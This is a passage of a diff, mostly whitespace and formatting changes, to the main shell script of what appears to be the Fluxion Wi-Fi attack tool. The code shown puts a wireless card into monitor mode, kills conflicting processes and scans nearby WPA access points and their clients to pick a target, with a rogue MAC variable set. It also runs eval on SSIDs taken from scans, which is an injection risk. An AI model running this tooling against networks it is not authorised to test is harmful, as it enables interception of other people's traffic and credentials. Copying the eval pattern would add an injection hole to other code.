$SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc) + NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$RATIO}")/1 | bc) + NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$RATIO}")/1 | bc) - NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$RATIO}")/1 | bc) - NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$RATIO}")/1 | bc) + NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$RATIO}")/1 | bc) + NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$RATIO}")/1 | bc) - SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X+($SCREEN_SIZE_X-2*$NEW_SCREEN_SIZE_X)/2))) - SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y+($SCREEN_SIZE_Y-2*$NEW_SCREEN_SIZE_Y)/2))) + SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X + ($SCREEN_SIZE_X - 2 * $NEW_SCREEN_SIZE_X) / 2))) + SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y + ($SCREEN_SIZE_Y - 2 * $NEW_SCREEN_SIZE_Y) / 2))) - # Upper - TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0" - TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0" - TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0" + # Upper + TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0" + TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0" + TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0" - # Lower - BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0" - BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0" - BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0" + # Lower + BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0" + BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0" + BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0" - # Y mid - LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y" - RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y" + # Y mid + LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y" + RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y" - # Big - TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0" - TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0" + # Big + TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0" + TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0" } ##################################### < Language > ##################################### function fluxion_set_language() { - if [ "$FLUXIONAuto" ]; then - FLUXIONLanguage="en" - else - # Get all languages available. - local languageCodes - readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//') + if [ "$FLUXIONAuto" ]; then + FLUXIONLanguage="en" + else + # Get all languages available. + local languageCodes + readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//') - local languages - readarray -t languages < <(head -n 3 language/*.sh | grep -E "^# native: " | sed -E 's/# \w+: //') + local languages + readarray -t languages < <(head -n 3 language/*.sh | grep -E "^# native: " | sed -E 's/# \w+: //') - io_query_format_fields "$FLUXIONVLine Select your language" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" languageCodes[@] languages[@] + io_query_format_fields "$FLUXIONVLine Select your language" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" languageCodes[@] languages[@] - FLUXIONLanguage=${IOQueryFormatFields[0]} + FLUXIONLanguage=${IOQueryFormatFields[0]} - echo # Leave this spacer. + echo # Leave this spacer. - # Check if all language files are present for the selected language. - find -type d -name language | while read language_dir; do - if [ ! -e "$language_dir/${FLUXIONLanguage}.sh" ]; then - echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:" - echo -e "\t$language_dir/${FLUXIONLanguage}.sh" - return 1 - fi - done + # Check if all language files are present for the selected language. + find -type d -name language | while read language_dir; do + if [ ! -e "$language_dir/${FLUXIONLanguage}.sh" ]; then + echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:" + echo -e "\t$language_dir/${FLUXIONLanguage}.sh" + return 1 + fi + done - # If a file is missing, fall back to english. - if [ $? -eq 1 ]; then - echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5 - FLUXIONLanguage="en" - return 1 - fi + # If a file is missing, fall back to english. + if [ $? -eq 1 ]; then + echo -e "\n\n$FLUXIONVLine Falling back to English..." + sleep 5 + FLUXIONLanguage="en" + return 1 + fi - source "$FLUXIONPath/language/$FLUXIONLanguage.sh" - fi + source "$FLUXIONPath/language/$FLUXIONLanguage.sh" + fi } - #################################### < Interfaces > #################################### function fluxion_unset_interface() { - # Unblock interfaces to make them available. - echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice" - rfkill unblock all &> $FLUXIONOutputDevice + # Unblock interfaces to make them available. + echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice" + rfkill unblock all &>$FLUXIONOutputDevice - # Find all monitor-mode interfaces & all AP interfaces. - echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice" - local wiMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}')) + # Find all monitor-mode interfaces & all AP interfaces. + echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice" + local wiMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}')) - # Remove all monitor-mode & all AP interfaces. - echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice" - if [ ${#wiMonitors[@]} -gt 0 ]; then - local monitor - for monitor in ${wiMonitors[@]}; do - # Remove any previously created fluxion AP interfaces. - #iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice + # Remove all monitor-mode & all AP interfaces. + echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice" + if [ ${#wiMonitors[@]} -gt 0 ]; then + local monitor + for monitor in ${wiMonitors[@]}; do + # Remove any previously created fluxion AP interfaces. + #iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice - # Remove monitoring interface after AP interface. - if [[ "$monitor" = *"mon" ]] - then airmon-ng stop "$monitor" > $FLUXIONOutputDevice - else interface_set_mode "$monitor" "managed" - fi + # Remove monitoring interface after AP interface. + if [[ "$monitor" == *"mon" ]]; then airmon-ng stop "$monitor" >$FLUXIONOutputDevice + else interface_set_mode "$monitor" "managed" + fi - if [ $FLUXIONDebug ]; then - echo -e "Stopped $monitor." - fi - done - fi + if [ $FLUXIONDebug ]; then + echo -e "Stopped $monitor." + fi + done + fi - WIMonitor="" + WIMonitor="" } # Choose Interface function fluxion_set_interface() { - if [ "$WIMonitor" ]; then return 0; fi + if [ "$WIMonitor" ]; then return 0; fi - fluxion_unset_interface + fluxion_unset_interface - # Gather candidate interfaces. - echo -e "$FLUXIONVLine $FLUXIONFindingWINotice" + # Gather candidate interfaces. + echo -e "$FLUXIONVLine $FLUXIONFindingWINotice" - # List of all available wireless network interfaces. - # These will be stored in our array right below. - interface_list_wireless + # List of all available wireless network interfaces. + # These will be stored in our array right below. + interface_list_wireless - local wiAlternate=("$FLUXIONGeneralRepeatOption") - local wiAlternateInfo=("") - local wiAlternateState=("") - local wiAlternateColor=("$CClr") + local wiAlternate=("$FLUXIONGeneralRepeatOption") + local wiAlternateInfo=("") + local wiAlternateState=("") + local wiAlternateColor=("$CClr") - interface_prompt "$FLUXIONVLine $FLUXIONInterfaceQuery" InterfaceListWireless[@] \ - wiAlternate[@] wiAlternateInfo[@] wiAlternateState[@] wiAlternateColor[@] + interface_prompt "$FLUXIONVLine $FLUXIONInterfaceQuery" InterfaceListWireless[@] \ + wiAlternate[@] wiAlternateInfo[@] wiAlternateState[@] wiAlternateColor[@] - local wiSelected=$InterfacePromptIfSelected + local wiSelected=$InterfacePromptIfSelected - if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ] - then fluxion_unset_interface; return 1 - fi + if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]; then + fluxion_unset_interface + return 1 + fi - if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then - echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError" - echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip" - sleep 7; fluxion_unset_interface; return 1; - fi + if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then + echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError" + echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip" + sleep 7 + fluxion_unset_interface + return 1 + fi - if ! fluxion_run_interface "$wiSelected" - then return 1 - fi + if ! fluxion_run_interface "$wiSelected"; then return 1 + fi - WIMonitor="$FluxionRunInterface" + WIMonitor="$FluxionRunInterface" } function fluxion_run_interface() { - if [ ! "$1" ]; then return 1; fi + if [ ! "$1" ]; then return 1; fi - local ifSelected="$1" + local ifSelected="$1" - if [ "$FLUXIONWIReloadDriver" ]; then - # Get selected interface's driver details/info-descriptor. - echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice" + if [ "$FLUXIONWIReloadDriver" ]; then + # Get selected interface's driver details/info-descriptor. + echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice" - if ! interface_driver "$ifSelected" - then echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"; sleep 3; return 1 - fi + if ! interface_driver "$ifSelected"; then + echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError" + sleep 3 + return 1 + fi - local ifDriver="$InterfaceDriver" + local ifDriver="$InterfaceDriver" - # I'm not really sure about this conditional here. - # FLUXION 2 had the conditional so I kept it there. - if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ] - then rmmod -f $ifDriver &> $FLUXIONOutputDevice 2>&1 + # I'm not really sure about this conditional here. + # FLUXION 2 had the conditional so I kept it there. + if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then + rmmod -f $ifDriver &>$FLUXIONOutputDevice 2>&1 - # Wait while interface becomes unavailable. - echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONUnloadingWIDriverNotice`" - while interface_physical "$ifSelected" - do sleep 1 - done - fi - fi + # Wait while interface becomes unavailable. + echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONUnloadingWIDriverNotice)" + while interface_physical "$ifSelected"; do sleep 1 + done + fi + fi - if [ "$FLUXIONWIKillProcesses" ]; then - # Get list of potentially troublesome programs. - echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice" - # This shit has to go reeeeeal soon (airmon-ng)... - local conflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}')) + if [ "$FLUXIONWIKillProcesses" ]; then + # Get list of potentially troublesome programs. + echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice" + # This shit has to go reeeeeal soon (airmon-ng)... + local conflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}')) - # Kill potentially troublesome programs. - echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice" - for program in "${conflictPrograms[@]}" - do killall "$program" &> $FLUXIONOutputDevice - done - fi + # Kill potentially troublesome programs. + echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice" + for program in "${conflictPrograms[@]}"; do killall "$program" &>$FLUXIONOutputDevice + done + fi - if [ "$FLUXIONWIReloadDriver" ]; then - # I'm not really sure about this conditional here. - # FLUXION 2 had the conditional so I kept it there. - if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ] - then modprobe "$ifDriver" &> $FLUXIONOutputDevice 2>&1 - fi + if [ "$FLUXIONWIReloadDriver" ]; then + # I'm not really sure about this conditional here. + # FLUXION 2 had the conditional so I kept it there. + if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then modprobe "$ifDriver" &>$FLUXIONOutputDevice 2>&1 + fi - # Wait while interface becomes available. - echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONLoadingWIDriverNotice`" - while ! interface_physical "$ifSelected" - do sleep 1 - done - fi + # Wait while interface becomes available. + echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONLoadingWIDriverNotice)" + while ! interface_physical "$ifSelected"; do sleep 1 + done + fi - # Activate wireless interface monitor mode and save identifier. - echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice" - if [ "$FLUXIONAirmonNG" ]; then - # TODO: Need to check weather switching to monitor mode below failed. - # Notice: Line below could cause issues with different airmon versions. - FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null) - else - if interface_set_mode "$ifSelected" "monitor" - then FluxionRunInterface=$ifSelected - else FluxionRunInterface="" - fi - fi + # Activate wireless interface monitor mode and save identifier. + echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice" + if [ "$FLUXIONAirmonNG" ]; then + # TODO: Need to check weather switching to monitor mode below failed. + # Notice: Line below could cause issues with different airmon versions. + FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2>/dev/null) + else + if interface_set_mode "$ifSelected" "monitor"; then FluxionRunInterface=$ifSelected + else FluxionRunInterface="" + fi + fi - if [ "$FluxionRunInterface" ] - then echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"; sleep 3 - else echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"; sleep 3; return 2 - fi + if [ "$FluxionRunInterface" ]; then + echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice" + sleep 3 + else + echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError" + sleep 3 + return 2 + fi } ###################################### < Scanner > ##################################### function fluxion_set_scanner() { - # If scanner's already been set and globals are ready, we'll skip setup. - if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \ - "$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then - return 0 - fi + # If scanner's already been set and globals are ready, we'll skip setup. + if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \ + "$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then + return 0 + fi - if [ "$FLUXIONAuto" ];then - fluxion_run_scanner $WIMonitor - else - local choices=("$FLUXIONScannerChannelOptionAll (2.4GHz)" "$FLUXIONScannerChannelOptionAll (5GHz)" "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption") - io_query_choice "$FLUXIONScannerChannelQuery" choices[@] + if [ "$FLUXIONAuto" ]; then + fluxion_run_scanner $WIMonitor + else + local choices=("$FLUXIONScannerChannelOptionAll (2.4GHz)" "$FLUXIONScannerChannelOptionAll (5GHz)" "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption") + io_query_choice "$FLUXIONScannerChannelQuery" choices[@] - echo + echo - case "$IOQueryChoice" in - "$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg";; - "$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a";; - "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg";; - "$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel;; - "$FLUXIONGeneralBackOption") fluxion_unset_interface; return 1;; - esac - fi + case "$IOQueryChoice" in + "$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg" ;; + "$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a" ;; + "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg" ;; + "$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel ;; + "$FLUXIONGeneralBackOption") + fluxion_unset_interface + return 1 + ;; + esac + fi - if [ $? -ne 0 ]; then return 1; fi + if [ $? -ne 0 ]; then return 1; fi } function fluxion_set_scanner_channel() { - fluxion_header + fluxion_header - echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery" - echo - echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr " - echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr " - echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr " - echo - echo -ne "$FLUXIONPrompt" + echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery" + echo + echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr " + echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr " + echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr " + echo + echo -ne "$FLUXIONPrompt" - local channels; read channels + local channels + read channels - echo + echo - fluxion_run_scanner $WIMonitor $channels - if [ $? -ne 0 ]; then return 1; fi + fluxion_run_scanner $WIMonitor $channels + if [ $? -ne 0 ]; then return 1; fi } # Parameters: monitor [ channel(s) [ band(s) ] ] function fluxion_run_scanner() { - if [ ${#@} -lt 1 ]; then return 1; fi; + if [ ${#@} -lt 1 ]; then return 1; fi - echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice" - echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip" + echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice" + echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip" - # Remove any pre-existing scanner results. - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + # Remove any pre-existing scanner results. + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - if [ "$FLUXIONAuto" ]; then - sleep 30 && killall xterm & - fi + if [ "$FLUXIONAuto" ]; then + sleep 30 && killall xterm & + fi - # Begin scanner and output all results to "dump-01.csv." - if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2> /dev/null; then - echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"; sleep 5; return 1 - fi + # Begin scanner and output all results to "dump-01.csv." + if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2>/dev/null; then + echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError" + sleep 5 + return 1 + fi - # Fix this below, creating subshells for something like this is somewhat ridiculous. - local scannerResultsExist=$([ -f "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true) - local scannerResultsReadable=$([ -s "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true) + # Fix this below, creating subshells for something like this is somewhat ridiculous. + local scannerResultsExist=$([ -f "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true) + local scannerResultsReadable=$([ -s "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true) - if [ ! "$scannerResultsReadable" ]; then - if [ "$scannerResultsExist" ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - fi + if [ ! "$scannerResultsReadable" ]; then + if [ "$scannerResultsExist" ]; then + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + fi - local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption") - io_query_choice "$FLUXIONScannerFailedNotice" choices[@] + local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption") + io_query_choice "$FLUXIONScannerFailedNotice" choices[@] - echo + echo - case "$IOQueryChoice" in - "$FLUXIONGeneralBackOption") return 1;; - "$FLUXIONGeneralExitOption") fluxion_exitmode; return 2;; - esac - fi + case "$IOQueryChoice" in + "$FLUXIONGeneralBackOption") return 1 ;; + "$FLUXIONGeneralExitOption") + fluxion_exitmode + return 2 + ;; + esac + fi - # Syntheize scan operation results from output file "dump-01.csv." - echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice" - # Unfortunately, mawk (alias awk) does not support the {n} times matching operator. - # readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") - # readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) - readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") + # Syntheize scan operation results from output file "dump-01.csv." + echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice" + # Unfortunately, mawk (alias awk) does not support the {n} times matching operator. + # readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) + readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") + # readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv) + readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv") - # Cleanup the workspace to prevent potential bugs/conflicts. - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + # Cleanup the workspace to prevent potential bugs/conflicts. + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - if [ ${#TargetAPCandidates[@]} -eq 0 ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" + if [ ${#TargetAPCandidates[@]} -eq 0 ]; then + sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*" - echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice" - sleep 3; return 1 - fi + echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice" + sleep 3 + return 1 + fi } - ###################################### < Target > ###################################### function fluxion_unset_target_ap() { - APTargetSSID="" - APTargetChannel="" - APTargetEncryption="" - APTargetMAC="" - APTargetMakerID="" - APTargetMaker="" - APRogueMAC="" + APTargetSSID="" + APTargetChannel="" + APTargetEncryption="" + APTargetMAC="" + APTargetMakerID="" + APTargetMaker="" + APRogueMAC="" } function fluxion_set_target_ap() { - if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \ - "$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then - return 0 - fi + if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \ + "$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then + return 0 + fi - fluxion_unset_target_ap + fluxion_unset_target_ap - local TargetAPCandidatesMAC=() - local TargetAPCandidatesClientsCount=() - local TargetAPCandidatesChannel=() - local TargetAPCandidatesSecurity=() - local TargetAPCandidatesSignal=() - local TargetAPCandidatesPower=() - local TargetAPCandidatesESSID=() - local TargetAPCandidatesColor=() + local TargetAPCandidatesMAC=() + local TargetAPCandidatesClientsCount=() + local TargetAPCandidatesChannel=() + local TargetAPCandidatesSecurity=() + local TargetAPCandidatesSignal=() + local TargetAPCandidatesPower=() + local TargetAPCandidatesESSID=() + local TargetAPCandidatesColor=() - for candidateAPInfo in "${TargetAPCandidates[@]}"; do - candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g") + for candidateAPInfo in "${TargetAPCandidates[@]}"; do + candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g") - local i=${#TargetAPCandidatesMAC[@]} + local i=${#TargetAPCandidatesMAC[@]} - TargetAPCandidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1) - TargetAPCandidatesClientsCount[i]=$(echo "${TargetAPCandidatesClients[@]}" | grep -c "${TargetAPCandidatesMAC[i]}") - TargetAPCandidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4) - TargetAPCandidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6) - TargetAPCandidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9) - TargetAPCandidatesColor[i]=$([ ${TargetAPCandidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr) + TargetAPCandidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1) + TargetAPCandidatesClientsCount[i]=$(echo "${TargetAPCandidatesClients[@]}" | grep -c "${TargetAPCandidatesMAC[i]}") + TargetAPCandidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4) + TargetAPCandidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6) + TargetAPCandidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9) + TargetAPCandidatesColor[i]=$([ ${TargetAPCandidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr) - # Parse any non-ascii characters by letting bash handle them. - # Just escape all single quotes in ESSID and let bash's $'...' handle it. - local sanitizedESSID=$(echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14) - TargetAPCandidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'") + # Parse any non-ascii characters by letting bash handle them. + # Just escape all single quotes in ESSID and let bash's $'...' handle it. + local sanitizedESSID=$(echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14) + TargetAPCandidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'") - local power=${TargetAPCandidatesPower[i]} - if [ $power -eq -1 ]; then - # airodump-ng's man page says -1 means unsupported value. - TargetAPCandidatesQuality[i]="??"; - elif [ $power -le $FLUXIONNoiseFloor ]; then - TargetAPCandidatesQuality[i]=0; - elif [ $power -gt $FLUXIONNoiseCeiling ]; then - TargetAPCandidatesQuality[i]=100; - else - # Bash doesn't support floating point division, so I gotta work around it... - # The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling. - TargetAPCandidatesQuality[i]=$((( ${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10 ) / ( ( $FLUXIONNoiseCeiling - $FLUXIONNoiseFloor ) / 10 ) )) - fi - done + local power=${TargetAPCandidatesPower[i]} + if [ $power -eq -1 ]; then + # airodump-ng's man page says -1 means unsupported value. + TargetAPCandidatesQuality[i]="??" + elif [ $power -le $FLUXIONNoiseFloor ]; then + TargetAPCandidatesQuality[i]=0 + elif [ $power -gt $FLUXIONNoiseCeiling ]; then + TargetAPCandidatesQuality[i]=100 + else + # Bash doesn't support floating point division, so I gotta work around it... + # The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling. + TargetAPCandidatesQuality[i]=$(((${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10) / (($FLUXIONNoiseCeiling - $FLUXIONNoiseFloor) / 10))) + fi + done - local headerTitle=$(format_center_literals "WIFI LIST"; echo -n "$FormatCenterLiterals\n\n") + local headerTitle=$( + format_center_literals "WIFI LIST" + echo -n "$FormatCenterLiterals\n\n" + ) - format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n" - local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" 